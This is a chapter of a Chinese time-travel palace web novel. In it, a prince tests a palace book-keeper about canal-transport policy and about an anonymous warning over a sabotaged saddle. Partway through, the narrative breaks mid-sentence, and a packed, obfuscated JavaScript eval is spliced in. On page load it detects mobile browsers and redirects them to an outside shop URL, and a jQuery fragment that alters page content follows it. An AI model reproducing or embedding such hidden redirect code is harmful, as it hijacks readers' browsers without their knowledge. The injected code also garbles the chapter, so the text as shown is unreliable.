默认冷灰
24号文字
方正启体

7. 试探

作者:没病没灾本书字数:K更新时间:
    坠马事件后的第五天,黄昏时分,藏书阁里的光线已变得朦胧。


    朴瑶正跪坐在二楼东厢的蒲团上,整理最后一箱前朝奏疏。


    这些是元和年间,永昌帝祖父的时代的奏抄副本,纸张脆弱泛黄,墨迹也多有晕染。


    她需要小心地将粘连的页角分开,用薄棉纸隔开,再按年份顺序重新归置。


    阁内极静,只有她翻动纸页时轻微的“沙沙”声,以及烛火偶尔的“噼啪”爆响。窗外,暮色四合,宫墙的轮廓在天际线上渐渐模糊。


    就在这时,楼梯上传来脚步声。


    不是周女官那种利落、带着目的性的步伐,也不是小宫女细碎、匆忙的步子。这脚步声沉稳、均匀,每一步都踏得实实在在,带着一种不自觉的、属于上位者的从容。


    朴瑶动作一顿,抬起头。


    一个少年出现在楼梯口。


    他穿着靛青色暗纹圆领袍,腰束革带,带扣是青玉的,雕着简单的云纹。


    头戴黑色幞头,额前发丝整齐。大约十五六岁的年纪,面容清俊,眉眼间带着读书人特有的文气,但肩背挺直,站立时自有一股端凝之态——那是长期严格礼仪训练与习武结合造就的姿态。


    正是李承稷。


    他站在楼梯口,目光在略显昏暗的阁内扫视一圈,最后落在朴瑶身上。烛光在她侧脸跳跃,勾勒出专注而平静的轮廓。


    “殿下万福。”朴瑶放下手中正在分开的粘连页角,起身,退后一步,躬身行礼。动作标准,无可挑剔。


    李承稷没有立刻说话,他踱步走进来,靴底踏在木地板上的声音在寂静中格外清晰。


    他的目光掠过她刚才整理的那堆奏疏,又看向书架间整齐排列的蓝色布面书函。


    “你是那日……与静姝论《玉台新咏》的女史?”他的声音清朗,语气平和,听不出什么情绪。


    “是,奴婢朴瑶。”


    “不必多礼。”他抬了抬手,走到朴瑶刚才跪坐的矮几旁,目光落在摊开的奏疏上,“这些是……元和年间的?”


    “回殿下,是元和七年至十年的部分奏抄,主要是工部与户部关于漕运、水利的争议与决议。”


    李承稷微微俯身,用指尖极其小心地挑起一页,就着烛光看了几行。


    他的手指修长,指甲修剪得整齐干净。


    看了一会儿,他抬起眼,目光落在朴瑶脸上,带着一丝审视:“你整理时,可曾看出什么门道?”


    问题直接,且超出了对一个普通女史能力的预期。


    朴瑶心头微紧,垂眼避开他的直视,谨慎措辞:“奴婢见识浅薄,只是依样整理。若说粗浅观感……似乎元和八年,关于漕运新法的争议尤为激烈。”


    “嗯。”李承稷放下那页纸,直起身,“当时主事官员提出‘分段转运’,即在漕河几个关键节点设仓,大船卸货,换小船或陆运接力。反对者认为此法劳民伤财,徒增损耗。依你看呢?”


    这已不是随口一问,而是近乎考较了。


    朴瑶想起系统灌输的“本时代常识”以及自己原来了解的一些古代漕运知识,稳了稳心神:“下官以为,‘分段转运’看似繁琐靡费,实则降低了整船倾覆、全漕阻断的风险。漕运乃国脉,稳妥重于一切。且……从奏抄看,当年春夏之交,漕河多雨,水位不稳,此法或有因地制宜的考量。”


    李承稷眼中闪过一丝极淡的讶异,但很快敛去。


    他拿起另一份奏疏,快速浏览:“那反对者所言也不无道理。分段设仓,给了沿途官吏盘剥、拖延之机,损耗或许更甚于风浪。”


    “所以元和九年的补充章程里,”朴瑶上前半步,指向他手中那份奏疏的末尾部分,指尖停在离纸页尚有一寸处,“加了每旬稽核、转运官与仓监官互相监督、定期轮换的条款。虽……虽不能尽绝弊端,但已是当时情形下,能想到的较为周全的制约之法。”


    李承稷顺着她指的方向看去,果然看到那些条款。他沉默了片刻,阁内只剩下烛火摇曳的声音。然后,他抬眼,目光锐利地看着她:“你读过《漕运通考》?或是《元和政要》?”


    《漕运通考》是本朝编纂的专业著述。


    《元和政要》更是收录前朝重要政论的书籍,绝非一个普通宫女甚至低级女官能轻易接触到的。


    朴瑶心中一凛。她确实没“读”过,但系统灌注的“本时代基础常识”里,包含了历代重要典籍的梗概和核心观点。《漕运通考》是公认的漕运史集大成之作。


    “奴婢有幸,在整理旧籍时见过残本,略翻过目录和序言,未及深读。”她答得含糊,留有余地。


    李承稷并未深究,只是淡淡道:“宫中藏书阁,果然能人辈出。一个整理古籍的女史,也能有此见识。”


    这话不知是褒是贬。朴瑶不敢接。


    李承稷踱开两步,背对着她,看向窗外渐沉的暮色。


    他的背影在烛光下拉得很长。良久,他忽然开口,声音平稳,却抛出一个惊雷:“前几日,西苑马场的事,你在这藏书阁中,可曾听闻?”


    来了。


    朴瑶感觉自己的心脏重重地跳了一下。她维持着垂首的姿态,声音尽量平稳:“下官……略有耳闻。听说殿下洪福齐天,及时发现了马具隐患。”


    “是‘及时发现’。”李承稷转过身,目光如实质般落在她身上,“有人匿名递了消息,说马鞍右侧肚带内侧或有磨损。查证之下,果然如此,且磨损处隐蔽,寻常例行检查极易忽略。”


    他顿了顿,向前走了半步,距离朴瑶只有三四尺远。


    这个距离,她能闻到他身上淡淡的、类似松墨和檀香混合的气息,也能更清楚地看到他眼中那份不属于这个年龄的深沉探究。


    “递消息的人,手法很是巧妙。一张没头没尾的字条,出现在掌事太监常看的书里。追查下去,线索断在一个小宦官那里,他说是听见两个不当值的宫女在僻静处闲聊提及。可盘问了马场附近所有可能路过的宫女,无人承认,也无人能证实。”他的语速很慢,每个字都清晰,“朴女史,你说……这是巧合么?或者说有人,算准了时机,刻意为之?”


    阁楼里的空气仿佛凝固了。蜡烛燃烧的气味,陈年纸张的霉味,还有窗外渗进来的、带着寒意的晚风,混杂在一起。


    朴瑶的后背渗出细密的冷汗。她感觉到李承稷的目光像两盏灯,照得她无所遁形。她必须回答,且不能有丝毫慌乱。


    她缓缓抬起头,迎上他的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129390|196193||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    视线。烛光在她眼中跳跃,映出一片看似澄澈的平静。


    “奴婢愚见,不敢妄断宫中是非。”她开口,声音不大,但清晰,“但下官以为,无论起因是巧合,还是有人暗中留意,结果都是殿下避过了一劫。”朴瑶顿了顿,微微欠身:“这……或许是冥冥之中的护佑。殿下乃陛下爱子,才华出众,将来必是国之栋梁。天佑英才,也是佑我大庆。”


    这番话,既撇清了自己“不敢妄断”,又暗含了对皇子的恭维与对事件的定性“天佑”,将一切归为不可言说的“天意”,是当下最稳妥的回答。


    李承稷没有说话只是静静地听着,脸上没有任何表情。他就那样看着她,看了很久。久到朴瑶几乎要以为时间停滞了。


    然后,他忽然极轻地、几乎听不见地笑了一声。那笑声里听不出喜怒,更像是一种……了悟,或者说,暂时放下。


    “也许……你说的也有道理。”他移开目光,再次转向那排排沉默的书架,“天意难测,人心亦难测。但结果好,便好。”


    他不再追问。仿佛刚才那番咄咄逼人的试探只是一阵轻风,吹过便散了。


    “时候不早了。”李承稷转身,朝楼梯走去。他的步伐依然沉稳。


    朴瑶暗暗松了口气,躬身:“奴婢恭送殿下。”


    就在他的身影即将消失在楼梯转角时,脚步声停住了。


    “朴女史。”他没有回头,只是唤了一声。


    “奴婢在。”


    “藏书阁酉时三刻下钥。”他的声音从楼梯下方传来,平淡无波,“你该收拾了。”


    脚步声继续响起,渐行渐远,最终彻底消失在楼下的寂静里。


    直到这时,朴瑶才敢真正放松下来。她扶着身旁的书架,缓缓吐出一口一直憋在胸口的浊气,才发现自己的指尖冰凉,掌心一片湿滑的冷汗。


    【警告:关键历史人物‘李承稷’对宿主的关注度已由‘无’提升至‘留意’级别。该人物观察力敏锐,疑心较重。请宿主日后言行加倍谨慎,避免引起进一步探究。】


    系统提示冰冷地浮现在眼前。


    朴瑶走到窗边,推开一条缝。深秋的晚风立刻灌了进来,吹散了些许阁内的沉闷,也让她发热的头脑清醒了些。


    窗外,宫灯次第亮起,在重重的殿宇楼阁间蜿蜒成一条条昏黄的光带。夜色彻底笼罩了这座庞大的宫殿群。


    她关好窗,开始利落地收拾矮几上的奏疏和工具。动作一丝不苟,神情平静,仿佛刚才那场暗流涌动的交锋从未发生。


    但只有她自己知道,有些东西已经不一样了。


    李承稷的疑心并没有完全打消,他只是暂时将疑问搁置了。


    而这种“留意”,在这个步步惊心的宫廷里,可能意味着机遇,更可能意味着危险。


    她吹灭多余的蜡烛,只留一盏照明,抱着整理好的书函走向指定书架。


    昏黄的烛光将她的影子投在墙壁和书架上,拉长,变形,随着她的移动而摇曳不定。


    就像她在这个时代的前路,吉凶未卜,影影绰绰。


    阁楼下,传来周女官检查门锁的细微声响。酉时三刻到了。


    新的一天即将结束,而新的考验,或许才刚刚开始。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)